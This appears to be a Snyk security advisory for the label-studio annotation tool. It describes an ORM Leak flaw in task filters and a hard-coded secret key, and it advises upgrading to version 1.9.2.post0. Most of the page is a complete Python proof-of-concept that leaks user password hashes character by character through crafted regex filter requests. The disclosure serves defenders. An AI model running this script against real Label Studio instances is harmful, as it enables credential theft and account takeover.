Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade label-studio
to version 1.9.2.post0 or higher.
label-studio is a Label Studio annotation tool
Affected versions of this package are vulnerable to Exposure of Sensitive Information to an Unauthorized Actor through the application's ability to set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). As the results of the query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. Furthermore, the application had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.
import argparse
import re
import requests
import string
import sys
# Password hash characters
CHARS = string.ascii_letters + string.digits + '$/+=_!'
CHARS_LEN = len(CHARS)
PAYLOAD = {
"data": {
"columnsDisplayType": {},
"columnsWidth": {},
"filters": {
"conjunction": "and",
"items": [
{
"filter": "filter:tasks:updated_by__active_organization__active_users__password", # ORM Leak filter chain
"operator": "regex", # Use regex operator to filter password hash value
"type": "String",
"value": "REPLACEME"
}
]
},
"gridWidth": 4,
"hiddenColumns":{"explore":["tasks:inner_id"],"labeling":["tasks:id","tasks:inner_id"]},
"ordering": [],
"search_text": None,
"target": "tasks",
"title": "Default",
"type": "list"
},
"id": 1, # View ID
"project": "1" # Project ID
}
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio'
)
parser.add_argument(
'-v', '--view-id',
help='View id of the page',
type=int,
required=True
)
parser.add_argument(
'-p', '--project-id',
help='Project id to filter tasks for',
type=int,
required=True
)
parser.add_argument(
'-c', '--cookie-str',
help='Cookie string for authentication',
required=True
)
parser.add_argument(
'-u', '--url',
help='Base URL to Label Studio instance',
required=True
)
return parser.parse_args()
def setup() -> dict:
args = parse_args()
view_id = args.view_id
project_id = args.project_id
path_1 = "/api/dm/views/{view_id}?interaction=filter&project={project_id}".format(
view_id=view_id,
project_id=project_id
)
path_2 = "/api/tasks?page=1&page_size=1&view={view_id}&interaction=filter&project={project_id}".format(
view_id=view_id,
project_id=project_id
)
PAYLOAD["id"] = view_id
PAYLOAD["project"] = str(project_id)
config_dict = {
'COOKIE_STR': args.cookie_str,
'URL_PATH_1': args.url + path_1,
'URL_PATH_2': args.url + path_2,
'PAYLOAD': PAYLOAD
}
return config_dict
def test_payload(config_dict: dict, payload) -> bool:
sys.stdout.flush()
cookie_str = config_dict["COOKIE_STR"]
r_set = requests.patch(
config_dict["URL_PATH_1"],
json=payload,
headers={
"Cookie": cookie_str
}
)
r_listen = requests.get(
config_dict['URL_PATH_2'],
headers={
"Cookie": cookie_str
}
)
r_json = r_listen.json()
return len(r_json["tasks"]) >= 1
def test_char(config_dict, known_hash, c):
json_payload_suffix = PAYLOAD
test_escaped = re.escape(known_hash + c)
json_payload_suffix["data"]["filters"]["items"][0]["value"] = f"^{test_escaped}"
suffix_result = test_payload(config_dict, json_payload_suffix)
if suffix_result:
return (known_hash + c, c)
return None
def main():
config_dict = setup()
# By default Label Studio password hashes start with these characters
known_hash = "pbkdf2_sha256$260000$"
print()
print(f"dumped: {known_hash}", end="")
sys.stdout.flush()
while True:
found = False
for c in CHARS:
r = test_char(config_dict, known_hash, c)
if not r is None:
new_hash, c = r
known_hash = new_hash
print(c, end="")
sys.stdout.flush()
found = True
break
if not found:
break
print()
if __name__ == "__main__":
main()